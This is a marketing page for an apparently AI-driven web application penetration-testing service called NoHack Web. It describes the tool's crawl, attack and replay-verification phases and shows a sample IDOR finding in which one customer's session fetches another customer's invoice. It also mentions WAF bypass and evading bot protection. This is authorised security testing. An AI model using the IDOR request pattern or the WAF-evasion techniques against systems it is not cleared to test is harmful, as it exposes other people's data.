NoHack WebBlack-box + grey-box · DAST · APIs

Tests your web app like an attacker. Reports only what it can replay.

Run it black-box from just a URL, the way an outside attacker sees your app, or grey-box with credentials for each role and your API specs for depth. NoHack Web crawls in a real browser, reads the JavaScript your app ships, and attacks with specialised agents. Each finding is replayed next to a control request in the same session before it reaches you.

Book a demo See sample output

attack classes, each with its own agent: 15; attack classes, each with its own agent
OWASP WSTG test IDs covered: 97; OWASP WSTG test IDs covered
deterministic payloads that spend no tokens: ~200; deterministic payloads that spend no tokens
of reported findings replayed: 100%; of reported findings replayed

From URL to verified finding.

Every phase is visible in the audit timeline.

01 · assess
Assess the target
Checks reachability and detects login walls before spending anything. If credentials are needed, the audit asks instead of guessing.
02 · crawl
Crawl in a real browser
Chromium-driven crawling captures XHR and fetch traffic. Bring HAR, OpenAPI, Postman, or Caido exports to seed it.
03 · model
Model the application
Fingerprints the stack, builds an app model with a multi-user baseline, and writes a threat model against OWASP ASVS 5.0.
04 · attack
Attack, then go deeper
Agents for injection, XSS, IDOR, SSRF, JWT, SSTI, business logic, GraphQL, and more, escalating past WAFs, with an out-of-band listener for blind bugs.
05 · verify
Replay against a control
Every finding is re-sent with a control request under the same session. It comes back verified, rejected, or flagged for manual review.
06 · rate
Rate with evidence
CVSS v4.0 on every finding, where each claimed impact must cite the evidence for it. Analysts can re-rate and override.

Built for real applications, not demo apps.

Grey-box: every role

Multiple user roles with an authorization matrix. Bearer tokens, cookies, or custom headers. An agent can also register its own test accounts.

Reads your JavaScript

Parses the bundles your app ships to find API calls, hidden routes, client-side XSS sinks, and credentials hardcoded into the frontend.

Bot-protected targets

A real-browser crawler built for targets behind bot protection, with an upstream HTTP or SOCKS proxy for IP-allowlisted applications.

Scope you control

Exact host, or base domain plus subdomains, capped at the registrable domain. Discovered subdomains become child audits you choose to launch.

Business logic, not just payloads

The agent profiles what the app is for and which data matters, threat-models it, and tests workflows like refunds, approvals, and tenant boundaries the way a pentester would.

Pentest-grade reports

DOCX reports with reproduction steps, evidence screenshots, and the attack narrative, from a standard template or your own.

Replayed, or it isn’t reported.

The verification record attached to a web finding.

HighVerified · replayed

IDOR: any customer can read another customer’s invoice

Sample finding

Attack · role customer-b200 OK

GET /api/invoices/48213
Cookie: session=‹customer-b›

→ 200 · application/json · 1.2 kB
{ "invoice": 48213,
  "owner": "customer-a@acme.test",
  "total": "4,980.00" }

Control · same session403 Forbidden

GET /api/invoices/00000
Cookie: session=‹customer-b›

→ 403 · application/json
{ "error": "forbidden" }

# customer-a's own session → same body

Rating · CVSS v4.0 · evidence cited per metric7.1 high

PR:L: any logged-in customer session
VC:H: response leaks another owner’s invoice
VI:N: no write observed on this endpoint
AT:N: sequential ids, no precondition

04 · Questions

What teams ask before an audit.

Something else? Email us.

Black-box or grey-box?

Both. Black-box needs only a URL: the agents discover and attack the app as an outside attacker would. Grey-box adds what an insider would know: a session for each role (bearer token, cookie, or header, or test accounts the agent registers) and HAR, OpenAPI, Postman, or Caido exports to seed discovery. That is what reaches authorization flaws, like one role reading another’s data.

Will it break our application?

Audits run only inside the scope and testing window you set. Outside it, nothing touches the target, and every phase is logged in the audit timeline. Like any active test, it sends real attack traffic: start against staging, then move to production on your schedule.

Can it test behind a login?

Yes. Provide sessions for each role via bearer tokens, cookies, or headers, or let the agent register test accounts. If it meets a login wall without credentials, it pauses and asks.

Our app is behind a WAF or IP allowlist.

The real-browser crawler is built for bot-protected targets, attack agents escalate through WAF bypasses, and traffic can go through an upstream proxy with an IP you allowlist.

What does “verified” mean?

The finding was replayed alongside a control request under the same session, and the difference between them demonstrates the vulnerability. Findings that fail replay are marked rejected and kept for audit.

Other agents

Security at the speed you ship.

Bring a repository, a web app, or an APK. We will walk you through a real audit of it.

Book a demo See the platform

Tests your web app like an attacker. Reports only what it can replay.

Assess the target

Crawl in a real browser

Model the application

Attack, then go deeper

Replay against a control

Rate with evidence